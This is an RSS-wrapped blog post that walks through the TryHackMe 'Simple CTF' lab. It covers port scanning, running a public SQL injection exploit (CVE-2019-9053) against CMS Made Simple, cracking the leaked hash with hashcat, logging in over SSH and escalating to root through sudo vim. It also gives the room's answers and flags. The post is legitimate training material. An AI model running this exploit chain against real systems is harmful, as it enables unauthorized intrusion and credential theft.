<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ugochianoka on Medium]]></title>
        <description><![CDATA[Stories by Ugochianoka on Medium]]></description>
        <link>https://medium.com/@uanoka?source=rss-580abbe444a9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*DTKoOTWPIdOqfcnL</url>
            <title>Stories by Ugochianoka on Medium</title>
            <link>https://medium.com/@uanoka?source=rss-580abbe444a9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 14:17:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@uanoka/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TRYHACKME: Simple CTF Walkthrough]]></title>
            <link>https://medium.com/@uanoka/tryhackme-simple-ctf-walkthrough-999687d41bd1?source=rss-580abbe444a9------2</link>
            <guid isPermaLink="false">https://medium.com/p/999687d41bd1</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Ugochianoka]]></dc:creator>
            <pubDate>Fri, 05 Aug 2022 00:23:48 GMT</pubDate>
            <atom:updated>2022-08-05T00:32:54.392Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*t7TGKwUMi_8tb6H-YLexRQ.jpeg" /></figure><p>This is a walkthrough explaining how I exploited the machine in the Simple CTF room on tryhackme.</p><p>Link to the room: <a href="https://tryhackme.com/room/easyctf">https://tryhackme.com/room/easyctf</a></p><p><strong>TASK 1</strong></p><p>Deploy the machine and attempt the questions!</p><p>Click on the green “Start Machine” button and wait for a minute.</p><p>An “Active Information” bar appears above showing information about the machine including the IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wZ_j6futV8jJ6C7rM7jjHg.png" /></figure><p>Go to a web browser of your choice and visit the IP address of the machine.</p><p>We are directed to an Apache2 Ubuntu Page.</p><p><strong>Question 1</strong></p><p><strong>How many services are running under port 1000?</strong></p><p>Using Nmap we can easily scan for all the services running under port 1000.</p><p>In your Linux terminal, input the following command</p><p><strong><em>nmap -sS -v -p 0–999 &lt;ip-address&gt;</em></strong></p><p>Nmap scan results state that 2 services are running under port 1000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*y-jMcGfp8AMTlrmlcEruXQ.png" /></figure><p><strong>The answer to Question 1 is : 2</strong></p><p><strong>Question 2</strong></p><p><strong>What is running on the higher port?</strong></p><p>We will run another Nmap scan without specifying the ports to scan to find other services running above port 1000</p><p>In your Linux terminal, input the following command</p><p><strong><em>nmap -sS -v &lt;ip-address&gt;</em></strong></p><p>We have discovered another service running on port 2222. The ssh service.</p><p><strong>The answer to Question 2 is : ssh</strong></p><p><strong>Question 3</strong></p><p><strong>What’s the CVE you’re using against the application?</strong></p><p>To find out the CVE against this application, we have to search for hidden files or pages.</p><p>On your Linux terminal, run the following command</p><p><strong><em>dirb http://&lt;ip-address&gt;</em></strong></p><p>The dirbuster tool automatically searches for hidden webpages associated to our machine.</p><p>We discover a <strong>/robots.txt </strong>webpage and a<strong> /simple</strong> directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*1khkgBjYXyMNRB_Zt3o1TQ.png" /></figure><p>We first go to the http://&lt;ip-address&gt;/robots.txt page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*CP8bzpBLzCdXssMiQRinmg.png" /></figure><p>Nothing here tells us the CVE that can be used against this web app.</p><p>Next stop, <strong>http://&lt;ip-address&gt;/simple.</strong></p><p>This takes us to a CMS Made Simple webpage.</p><p>When we scroll to the bottom of the page, we find out that the site is powered by “CMS Made Simple version 2.2.8”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2DrjzaHij8SUwQDDtqnd1w.png" /></figure><p>We need to find out if this version of CMS Made Simple has a known exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OXf2KOmlYRpP_7J6puUW8g.png" /></figure><p>Using Exploit DB we find out that every CMS Made Simple Version before 2.2.10 has an SQL injection vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oD1Mw2ruN1ORMghZa5aT_w.png" /></figure><p><strong>The CVE is “CVE-2019–9053”<br>The answer to Question 3 is : CVE-2019–9053</strong></p><p><strong>Question 4</strong></p><p><strong>To what kind of vulnerability is the application vulnerable?</strong></p><p>As we have already found out, the machine is vulnerable to SQL injection (sqli)</p><p><strong>The answer to Question 4 is : sqli</strong></p><p><strong>Question 5</strong></p><p><strong>What’s the password?</strong></p><p>Since we have already found a vulnerability and exploit using exploit db, we should try to exploit this machine using the provided exploit.</p><p>Luckily, Linux has a tool called Searchsploit which enables us access Exploit DB from our Linux terminal.</p><p>In your Linux terminal, input the following command</p><p><strong><em>searchsploit cms made simple 2.2.10</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TESqOkTwBMfFV_XuJiSwzg.png" /></figure><p>We find the path to the payload used to exploit this machine, i.e <strong>/opt/searchsploit/exploits/php/webapps/46635.py</strong></p><p>Go to the directory containing 46635.py using this command</p><p>cd <strong>/opt/searchsploit/exploits/php/webapps</strong></p><p>While in that directory, try to run the python script using the following command</p><p><strong><em>python 46635.py -u http://&lt;ip-address&gt;/simple --crack -w /usr/share/wordlists/rockyou.txt</em></strong></p><p>You will most likely receive a syntax error about a few lines in the script,</p><p>that’s not a big issue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qn1iMyUVcBjxxd54ga_R-w.png" /></figure><p>First, use a text editor of your choice and open the script</p><p>On line 25, 26, 27 and 28, change:</p><p>print “[+] Specify an url target”<br> print “[+] Example usage (no cracking password): exploit.py -u <a href="http://target-uri/">http://target-uri</a>&quot;<br> print “[+] Example usage (with cracking password): exploit.py -u <a href="http://target-uri/">http://target-uri</a> — crack -w /path-wordlist”<br> print “[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.”</p><p>to:</p><p>print (“[+] Specify an url target”)<br> print (“[+] Example usage (no cracking password): exploit.py -u <a href="http://target-uri/">http://target-uri</a>&quot;)<br> print( “[+] Example usage (with cracking password): exploit.py -u <a href="http://target-uri/">http://target-uri</a> — crack -w /path-wordlist”)<br> print (“[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.”)</p><p>On line 63 and 69 , change:</p><p>print “\033c”</p><p>to:</p><p>print(“\033c&quot;)</p><p>And</p><p>On line 183, change:</p><p>print colored(“[*] Now try to crack password”)</p><p>to:</p><p>print(colored(“[*] Now try to crack password”))</p><p>Now run the exploit again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*-6cB0hZ6h_VQXdAxREGG3Q.png" /></figure><p>AHA! We find the Username, Email, hash format of password and the salt of the password.</p><p>The last step is to crack the password using hashcat</p><p>In your Linux terminal, input the following command</p><p><strong><em>hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*XppcNrqflUe0FsWT3WLAiA.png" /></figure><p>we find out that the password is “secret”</p><p><strong>The answer to Question 5 is : secret</strong></p><p><strong>Question 6</strong></p><p><strong>Where can you login with the details obtained?</strong></p><p>Remember when we found the ssh service was running on port 2222 of this machine? Exactly, we can log in with ssh</p><p>In your Linux terminal, input the following command</p><p><strong><em>ssh mitch@&lt;ip-address&gt; -p 2222</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*PWJ4RcZObPBdLyukHKiuFg.png" /></figure><p>We finally have access to mitch’s machine.</p><p><strong>The answer to Question 6 is : ssh</strong></p><p><strong>Question 7</strong></p><p><strong>What’s the user flag?</strong></p><p>Let’s look at the content of this machine.</p><p>Using the ‘ls’ command, we find a file called “user.txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*aNnpuXKc7xKQ3WN5lzEgSw.png" /></figure><p>Let’s look at the content of this text file</p><p>In your Linux terminal, input the following command</p><p><strong><em>cat user.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*vkCz2SWcRA2kpajSzgGM7g.png" /></figure><p>WE HAVE FOUND THE USER FLAG</p><p><strong>The answer to Question 7 is : G00d j0b, keep up!</strong></p><p><strong>Question 8</strong></p><p><strong>Is there any other user in the home directory? What’s its name?</strong></p><p>Let’s navigate to the mitch’s home directory</p><p>In your Linux terminal, input the following command:<br><strong><em>cd /home</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*b3GmQQnhweY8xYNwBAlIEg.png" /></figure><p>We find another user, sunbath.</p><p><strong>The answer to Question 8 is : sunbath</strong></p><p><strong>Question 9</strong></p><p><strong>What can you leverage to spawn a privileged shell?</strong></p><p>When we try to go to the sunbath directory, it looks like we have no permission</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*enL_TbboHllzYWIZJxaRIg.png" /></figure><p>So we list the allowed commands for mitch</p><p>In your Linux terminal, input the following command:<br><strong><em>sudo -l</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*IgaL0IUkwxUn_0I-A1yOng.png" /></figure><p>Looks like we have access to the vim shell.</p><p>Now we have access to the vim shell, we can use it to get a root/privileged shell</p><p><strong>The answer to Question 9 is : vim</strong></p><p><strong>Question 10</strong></p><p><strong>What’s the root flag?</strong></p><p>To get the root shell using vim, we input the following command:<br><strong><em>sudo vim -c ‘:!/bin/sh’</em></strong></p><p>This gives us access to the root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*VGR9SFlJCpLjGUoFwsvZEA.png" /></figure><p>Now we are root! Lets find the root flag</p><p>First, we go to the main root directory using the command:</p><p><strong><em>cd /root</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*crQSRhEqcJq1z7IOGQMl4g.png" /></figure><p>Listing the content of the root directory, we see the “root.txt” text file which contains the root flag.</p><p>Let’s open the root.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*Jk-k5HI24bVKblp84U1X1w.png" /></figure><p>WE HAVE FOUND THE ROOT FLAG!!!</p><p><strong>The answer to Question 10 is : </strong>W3ll d0n3. You made it!</p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=999687d41bd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>